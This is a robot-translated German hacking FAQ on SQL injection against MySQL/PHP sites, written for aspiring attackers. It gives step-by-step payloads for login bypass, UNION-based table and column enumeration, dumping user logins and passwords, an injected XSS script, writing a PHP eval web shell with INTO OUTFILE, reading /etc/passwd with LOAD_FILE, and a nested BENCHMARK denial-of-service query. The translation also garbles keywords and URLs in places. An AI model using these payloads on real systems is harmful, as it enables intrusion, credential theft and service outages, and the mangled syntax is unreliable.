This page has been robot translated, sorry for typos if any. Original content here.

SQL Injection [vollständige FAQ]



  • 0.INTRO
  • 1. SO FINDEN SIE SQL INJECTION
  • 2. WAS UND WIE KÖNNEN SIE VON DIESEM NÜTZLICHEN LERNEN?
  • 3. WAS TUN, WENN KEINE ANZEIGEFELDER ANGEZEIGT WERDEN?
  • 4. WAS ZU TUN IST, WENN ETWAS FILTER IST.
  • 5. NÜTZLICHE FUNKTIONEN IN MYSQL
  • 6. SO SCHÜTZEN SIE SICH VOR SQL INJECTION
  • 7. ERGÄNZUNGEN


  • 0.INTRO


    Wenn Sie im Internet nach Informationen über SQL-Injection suchen, sind Sie wahrscheinlich häufig auf Artikel gestoßen, die entweder sehr kurz oder unverständlich sind oder ein Thema oder etwas anderes behandeln, das Ihnen natürlich nicht zusagt. Einmal habe ich auch 10-20 Artikel zu diesem Thema gesammelt, um in viele Feinheiten dieser Sicherheitsanfälligkeit einzudringen. Und wenn ich mich an diese Zeiten erinnere, habe ich beschlossen, eine vollständige FAQ zu diesem Thema zu schreiben, damit der Rest nicht darunter leidet. Und noch eine Bitte. Diejenigen, die feststellen, dass ich etwas verpasst habe, wo es falsch war usw., schreiben Sie bitte unten, es ist trotzdem schwierig, alles im Kopf zu behalten :) . Übrigens ist dies mein erster Artikel, bitte werfen Sie keine Tomaten und treten Sie nicht mit den Füßen.

    Es ist nicht der erste Tag, an dem Sie von Hacking begeistert sind. Sie wissen wahrscheinlich, was SQL Injection ist. Wenn nicht, dann ist dies ein Artikel für Sie. SQL-Injektion Eine weitere einfache Injektion ist eine Angriffsart, bei der der Angreifer die ursprüngliche Datenbankabfrage so modifiziert, dass bei Ausführung der Abfrage die von ihm benötigten Informationen aus der Datenbank abgeleitet werden.

    Um diesen Artikel zu assimilieren, benötigen Sie:
    a) Das Vorhandensein von Gehirnen
    b) Gerade Arme
    c) SQL-Sprachkenntnisse

    Grundsätzlich wurde dieser Artikel wie für MYSQL + PHP geschrieben, aber es gibt einige Beispiele für MSSQL.

    Im Allgemeinen besteht meiner Meinung nach die beste Möglichkeit, den richtigen Umgang mit SQL Injection zu erlernen, darin, diesen Artikel nicht zu lesen, sondern sich intensiv damit zu beschäftigen , z. B. selbst ein anfälliges Skript zu schreiben, oder mein am Ende angegebenes Skript zu verwenden.

    Übrigens rate ich Ihnen, alles zu lesen, denn jeder Artikel hat etwas Wichtiges für den nächsten Artikel usw.

    1. SO FINDEN SIE SQL INJECTION

    Es ist ziemlich einfach. Es ist notwendig, in alle Felder Variablen, doppelte Cookies und einfache Anführungszeichen einzufügen.

    1.1 Zweiter zuerst

    Beginnen wir mit diesem Skript

    1 . Angenommen, die ursprüngliche Abfrage der Datenbank sieht folgendermaßen aus:
    SELECT * FROM news WHERE id=' 1 '; Jetzt werden wir der Variablen "id" ein Anführungszeichen hinzufügen. Wenn die Variable nicht gefiltert ist und Fehlermeldungen enthalten sind, wird Folgendes ausgegeben:

    mysql_query (): Sie haben einen Fehler in Ihrer SQL-Syntax. Überprüfen Sie die Syntax für Ihr Recht;

    Da in der Abfrage der Datenbank ein zusätzliches Zitat enthalten ist:
    SELECT * FROM news WHERE id=' 1' '; Wenn der Fehlerbericht deaktiviert ist, kann in diesem Fall das Vorhandensein einer solchen Sicherheitsanfälligkeit festgestellt werden (es würde auch nicht schaden, wenn dies nicht mit Klausel 1.4 verwechselt würde. Wie in derselben Klausel beschrieben): Das heißt, die Abfrage an die Datenbank sieht folgendermaßen aus:
    SELECT * FROM news WHERE id=' 1'; -- '; (Für diejenigen, die sich im Tank befinden "-" ist dies das Zeichen für den Beginn des Kommentars, alles, was danach verworfen wird, möchte ich Sie auch darauf aufmerksam machen, dass danach ein Leerzeichen stehen muss (dies ist in der MYSQL-Dokumentation geschrieben) und übrigens auch.) Daher bleibt die Anfrage für MYSQL dieselbe und zeigt dieselbe an wie für http: //xxx/news.php? Id = 1
    Der ganze Punkt 2 widmet sich dem, was mit dieser Sicherheitsanfälligkeit zu tun ist.

    1.2 Zweiter Fall

    SQL hat eine LIKE- Anweisung. Es wird zum Vergleichen von Zeichenfolgen verwendet. Hier ist ein Autorisierungsskript, wenn Sie einen Benutzernamen und ein Passwort eingeben und nach einer Datenbank wie dieser fragen:
    SELECT * FROM users WHERE Login LIKE 'Admin' UND LIKE '123' übergeben;

    Auch wenn dieses Skript das Zitat filtert, bleibt es dennoch anfällig für Injektionen. Anstelle des Passworts müssen wir nur "%" eingeben (für den LIKE-Operator entspricht das "%" -Zeichen einer beliebigen Zeichenfolge), und dann wird die Abfrage
    SELECT * FROM users WHERE Login LIKE 'Admin' UND LIKE '%' übergeben;

    und lassen Sie uns mit dem Login 'Admin' hineingehen. In diesem Fall haben wir SQL Injection nicht nur gefunden, sondern auch erfolgreich eingesetzt.

    1.3 Der dritte Fall

    Was tun, wenn im selben Berechtigungsskript keine Angebotsüberprüfung vorhanden ist? IMHO wäre es zumindest dumm, diese Injektion zu verwenden, um irgendeine Art von Information anzuzeigen. Lassen Sie die Abfrage an die Datenbank vom Typ sein:
    SELECT * FROM users WHERE login = 'Admin' UND pass = '123';

    Leider passt das Passwort '123' nicht :) Um uns unter dem Namen "Admin" anzumelden, müssen wir stattdessen etwas wie diesen Admin eingeben . - das heißt, der Teil mit der Passwortprüfung wird verworfen und wir geben unter dem Namen 'Admin' ein.
    SELECT * FROM users WHERE login = ' Admin'; - 'AND pass =' ​​123 ';

    Und nun was tun, wenn die Schwachstelle im 'Pass'-Feld liegt. In dieses Feld geben wir Folgendes ein: 123 'ODER login =' Admin '; - . Die Anfrage wird wie folgt lauten:
    SELECT * FROM users WHERE login = 'Admin' AND pass = '123' ODER login = 'Admin'; - ';

    Dass es für eine DB absolut unabhängig von einer solchen Anfrage sein wird:
    SELECT * FROM users WHERE (login = 'Admin' UND pass = '123') OR (login = 'Admin');

    Nach diesen Aktionen werden wir der volle Besitzer des Kontos mit dem Anmeldenamen "Admin".

    1.4 Der vierte Fall

    Kehren wir zum News-Skript zurück. In der SQL-Sprache müssen wir uns daran erinnern, dass numerische Parameter nicht in Anführungszeichen gesetzt werden, dh bei einem solchen Aufruf des Skripts http: //xxx/news.php? Id = 1 sieht die Abfrage zur Datenbank folgendermaßen aus:
    SELECT * FROM Nachrichten WHERE id = 1 ;

    Sie können diese Injektion auch erkennen, indem Sie Anführungszeichen in den Parameter 'id' einfügen und dann dieselbe Fehlermeldung herausspringen:

    mysql_query (): Sie haben einen Fehler in Ihrer SQL-Syntax. Überprüfen Sie die Syntax für Ihr Recht;

    Wenn diese Meldung nicht verworfen wird, können Sie verstehen, dass das Anführungszeichen gefiltert ist, und müssen dann http: //xxx/news.php? Id = 1 bla-bla-bla eingeben
    Die DB wird dieses bla bla bla nicht verstehen und eine Fehlermeldung wie folgt ausgeben:

    mysql_query (): Sie haben einen Fehler in Ihrer SQL-Syntax. Überprüfen Sie die Syntax für Ihre richtige Syntax, um sie in der Nähe von "1 bla bla bla" zu verwenden.

    Wenn der Fehlerbericht deaktiviert ist, überprüfen wir ihn wie folgt: http: //xxx/news.php? Id = 1; -
    Sollte es genau so aussehen wie http: //xxx/news.php? Id = 1

    Jetzt können Sie mit Schritt 2 fortfahren.

    2. WAS UND WIE KÖNNEN SIE VON DIESEM NÜTZLICHEN LERNEN?

    Darüber hinaus wird nur die in Abschnitt 1.1 beschriebene Art der Sicherheitsanfälligkeit berücksichtigt, und es wird nicht schwierig sein, sie für andere erneut zu erstellen. :)

    2.1 UNION- Team

    Am nützlichsten ist zunächst das UNION- Team (das nicht weiß, wie man zu Google geht ) ...
    Änderung des Aufrufs an das Skript http: //xxx/news.php? Id = 1 'UNION SELECT 1 - . Wir bekommen die Abfrage in die Datenbank wie folgt:
    SELECT * FROM Nachrichten WHERE id = '1' UNION SELECT 1 - ';


    2.1.1.1 Auswahl der Anzahl der Felder (Methode 1)

    Nicht zu vergessen, dass die Anzahl der Spalten vor und nach UNION übereinstimmen muss, wird wahrscheinlich ein Fehler ausgegeben (es sei denn, die Newstabelle enthält eine Spalte):

    mysql_query (): Die verwendeten SELECT-Anweisungen haben eine unterschiedliche Anzahl von Spalten

    In diesem Fall müssen wir die Anzahl der Spalten auswählen (damit ihre Anzahl vor UNION und danach übereinstimmt). Wir machen es so:

    http: //xxx/news.php? id = 1 'UNION SELECT 1, 2 -
    Fehler " Die verwendeten SELECT-Anweisungen haben eine andere Anzahl von Spalten "

    http: //xxx/news.php? id = 1 'UNION SELECT 1,2,3 -
    Wieder ein Fehler.
    ...

    http: //xxx/news.php? id = 1 'UNION SELECT 1,2,3,4,5,6 -
    Oh! Es wurde genau wie http: //xxx/news.php? Id = 1 angezeigt
    es bedeutet, dass die Anzahl der Felder ausgewählt ist, das heißt, es gibt 6 davon ...


    2.1.1.2 Auswahl der Anzahl der Felder (Methode 2)

    Und diese Methode basiert auf der Auswahl der Anzahl der Felder mit GROUP BY . Das heißt, eine Anfrage dieses Typs:

    http: //xxx/news.php? id = 1 'GROUP BY 2 -

    Es wird fehlerfrei angezeigt, wenn die Anzahl der Felder kleiner oder gleich 2 ist.
    Wir stellen eine Anfrage dieser Art:

    http: //xxx/news.php? id = 1 'GROUP BY 10 -

    Ups ... Es ist ein Tippfehler aufgetreten.

    mysql_query (): Unbekannte Spalte '10' in 'Gruppenanweisung'

    Die Spalten sind also kleiner als 10. Teilen Sie 10 durch 2. Und wir führen eine Abfrage durch

    http: //xxx/news.php? id = 1 'GROUP BY 5 -


    Es gibt keinen Fehler, daher ist die Anzahl der Spalten größer oder gleich 5, aber kleiner als 10. Jetzt nehmen wir einen Durchschnittswert zwischen 5 und 10, was sich als 7 herausstellt. Führen Sie eine Abfrage durch:

    http: //xxx/news.php? id = 1 'GROUP BY 7 -

    Ach nochmal, der Fehler ... :(

    mysql_query (): Unbekannte Spalte '7' in 'Gruppenanweisung'

    Der Betrag ist also größer oder gleich 5, aber kleiner als 7. Nun, und dann machen Sie eine Anfrage

    http: //xxx/news.php? id = 1 'GROUP BY 6 -

    Keine Fehler ... Die Anzahl ist also größer oder gleich 6, aber kleiner als 7. Daraus folgt, dass die erforderliche Anzahl von Spalten 6 ist.

    2.1.1.3 Auswahl der Anzahl der Felder (Methode 3)

    Das gleiche Prinzip wie in Abschnitt 2.1.1.2 verwendet nur die ORDER BY- Funktion. Und der Fehlertext ändert sich geringfügig, wenn mehr Felder vorhanden sind.

    mysql_query (): Unbekannte Spalte '10' in 'order clause'

    2.1.2 Definition der angezeigten Spalten

    Ich denke, dass für viele von uns genau die gleiche Seite wie http: //xxx/news.php? Id = 1 nicht passt. Wir müssen also sicherstellen, dass bei der ersten Anforderung (vor UNION ) nichts ausgegeben wird. Am einfachsten ist es, die "ID" von "1" in "-1" (oder in "9999999") zu ändern.
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3,4,5,6 - Jetzt müssen wir irgendwo auf der Seite einige dieser Nummern anzeigen. (Da dies zum Beispiel ein bedingtes Nachrichtenskript ist, wird es im "Nachrichtentitel" angezeigt, sagen wir 3, "Nachrichten" -4 und so weiter.) Damit wir nun einige Informationen erhalten können, müssen wir diese Zahlen in der Anwendung im Skript durch die Funktionen ersetzen, die wir benötigen. Wenn die Ziffern an keiner anderen Stelle angezeigt werden, können die übrigen Unterabschnitte von Abschnitt 2.1 übersprungen werden.

    2.1.3 SIXSS (SQL Injection Cros Site Scripting)

    Diese XSS nur durch eine Anfrage an die Datenbank. Beispiel:
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3', <script> alert ('SIXSS') </ script> ', 5,6 - Ich denke, es ist nicht schwer zu verstehen 4 auf der Seite wird durch <script> alert ('SIXSS') </ script> ersetzt und dementsprechend erhalten Sie das gleiche XSS.

    2.1.4 Spalten- / Tabellennamen

    Wenn Sie die Namen der Tabellen und Spalten in der Datenbank kennen, können Sie diesen Eintrag überspringen
    Wenn Sie nicht wissen ... Es gibt zwei Möglichkeiten.

    2.1.4.1 Spalten- / Tabellennamen, wenn Sie Zugriff auf INFORMATION_SCHEMA haben und die Version von MYSQL> = 5 ist

    Die Tabelle INFORMATION_SCHEMA.TABLES enthält Informationen zu allen Tabellen in der Datenbank, die Spalte TABLE_NAME-Tabellennamen.
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, TABLE_NAME, 5,6 FROM INFORMATION_SCHEMA.TABLES - Hier kann das Problem auftreten. Da nur die erste Zeile der Datenbankantwort angezeigt wird. Dann müssen wir LIMIT wie folgt verwenden :

    Erste Zeile ausgeben:
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, TABLE_NAME, 5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 1.1 -

    Die Ausgabe der zweiten Zeile:
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, TABLE_NAME, 5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 2,1 - usw.

    Nun, wir haben die Users- Tabelle gefunden. Nur das ... Khm ... wissen die Spalten nicht ... Dann hilft uns die Tabelle INFORMATION_SCHEMA.COLUMNS , die Spalte COLUMN_NAME enthält den Namen der Spalte in der Tabelle TABLE_NAME . So erhalten wir die Spaltennamen.

    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, COLUMN_NAME, 5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME =' Users 'LIMIT 1,1 -

    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, COLUMN_NAME, 5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME =' Users 'LIMIT 2,1 -
    usw.

    Und hier fanden wir die Login- und Passwortfelder .

    2.1.4.2 Spalten- / Tabellennamen, wenn INFORMATION_SCHEMA nicht verfügbar ist

    Dies ist eine zhopny-Option. :( Hier treten die üblichen brutofores in Kraft ... Beispiel:

    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3,4,5,6 FROM tbl_name -

    Es ist erforderlich, Tabellenname auszuwählen, bis die Fehlermeldung des folgenden Typs verschwindet:

    mysql_query (): Tabelle ' Tbl_name ' existiert nicht

    Nun, wir stellten zu unserem Glück fest, dass die Benutzer die Fehlermeldung verloren haben und die Seite so angezeigt wurde, als ob http: //xxx/news.php? Id = -1 'UNION SELECT 1,2,3,4,5,6 - was bedeutet das ? ? Dies bedeutet, dass eine Benutzer- Tabelle vorhanden ist und Sie mit der Suche in den Spalten beginnen müssen.

    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, Spaltenname , 5,6 FROM Users -

    Es ist erforderlich, Column_Name auszuwählen, bis die Fehlermeldung des Typs verschwindet:

    mysql_query (): Unbekannte Spalte ' Spaltenname ' 'in' Feldliste '

    Wenn die Fehlermeldung verschwindet, ist eine solche Spalte vorhanden.

    Und so haben wir erfahren, dass in der Users- Tabelle Login- und Passwortspalten vorhanden sind.

    2.1.5 Informationsanzeige

    Aufrufen des Skripts wie folgt : http: //xxx/news.php? Id = -1 'UNION SELECT 1,2, Login, Passwort, 5,6 FROM Users LIMIT 1.1 - Zeigt den Login und das Passwort des ersten Benutzers aus der Tabelle an Benutzer .

    2.2 Mit Dateien arbeiten

    2.2.1 In Datei schreiben

    In MYSQL gibt es einen so interessanten SELECT ... INTO OUTFILE- Typ, mit dem Sie Informationen in eine Datei schreiben können. Oder eine solche SELECT ... INTO DUMPFILE-Konstruktion ist fast ähnlich und Sie können jede verwenden.

    Beispiel: http: //xxx/news.php? Id = -1 'UNION SELECT 1,2,3,4,5,6 INTO OUTFILE' 1.txt '; -


    Für sie gibt es mehrere Einschränkungen.
    • Es ist verboten, Dateien zu überschreiben
    • Benötigt FILE-Berechtigungen
    • (!) Zwingende wahre Anführungszeichen bei der Angabe des Dateinamens

    Aber was würde uns daran hindern, das Web zum Laufen zu bringen? Hier zum Beispiel:

    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3,' <? php eval ($ _ GET ['e']?> ', 5,6 INTO OUTFILE' 1.php '; -

    Es bleibt nur, den vollständigen Pfad zum Stammverzeichnis der Site auf dem Server zu finden und ihn vor 1.php hinzuzufügen. Grundsätzlich können Sie im Bericht einen anderen Fehler finden, der den Pfad auf dem Server anzeigt oder ihn im Stammverzeichnis des Servers belässt und ihn mit einer lokalen Verbindung aufnimmt. Dies ist jedoch ein anderes Thema.

    2.2.2 Dateien lesen

    Betrachten Sie die Funktion LOAD_FILE

    Beispiel: http: //xxx/news.php? Id = -1 'UNION SELECT 1,2, LOAD_FILE (' etc / passwd '), 4,5,6;

    Für sie gibt es auch einige Einschränkungen.
    • Der vollständige Pfad zur Datei muss angegeben werden.
    • Benötigt FILE-Berechtigungen
    • Die Datei muss sich auf demselben Server befinden.
    • Die Größe dieser Datei muss kleiner sein als in max_allowed_packet angegeben
    • Die Datei muss für den Benutzer, unter dem MYSQL ausgeführt wird, zum Lesen geöffnet sein.

    Wenn die Funktion die Datei nicht lesen kann, wird NULL zurückgegeben.

    2.3 DOS-Angriff auf SQL Server

    In den meisten Fällen wird der SQL Server erreicht, da nichts anderes getan werden kann. Der Typ konnte die Tabellen / Spalten nicht erkennen, keine Rechte daran, keine Rechte daran usw. Ich ehrlich gesagt gegen diese methode aber egal ...

    Näher am Punkt ...
    Die BENCHMARK- Funktion führt dieselbe Aktion mehrmals aus.
    SELECT BENCHMARK (100000, md5 (current_time));

    Das heißt, hier macht diese Funktion md5 (current_time) 100.000 mal, was auf meinem Computer ungefähr 0,7 Sekunden dauert ... Es schien so ... Und wenn Sie das eingebettete BENCHMARK versuchen?

    SELECT BENCHMARK (100000, BENCHMARK (100000, md5 (current_time)));

    Es dauert sehr lange, um ehrlich zu sein, ich habe nicht einmal gewartet ... Ich musste einen Reset durchführen :) .
    Beispiel Dos in unserem Fall:

    http: //xxx/news.php? id = -1 'UNION SELECT 1, 2, BENCHMARK (100000, BENCHMARK (100000, md5 (current_time))), 4, 5, 6; -

    Nur 100 Mal, um F5 zu stoßen und "der Server wird in einen schnellen Ausfall" fallen))).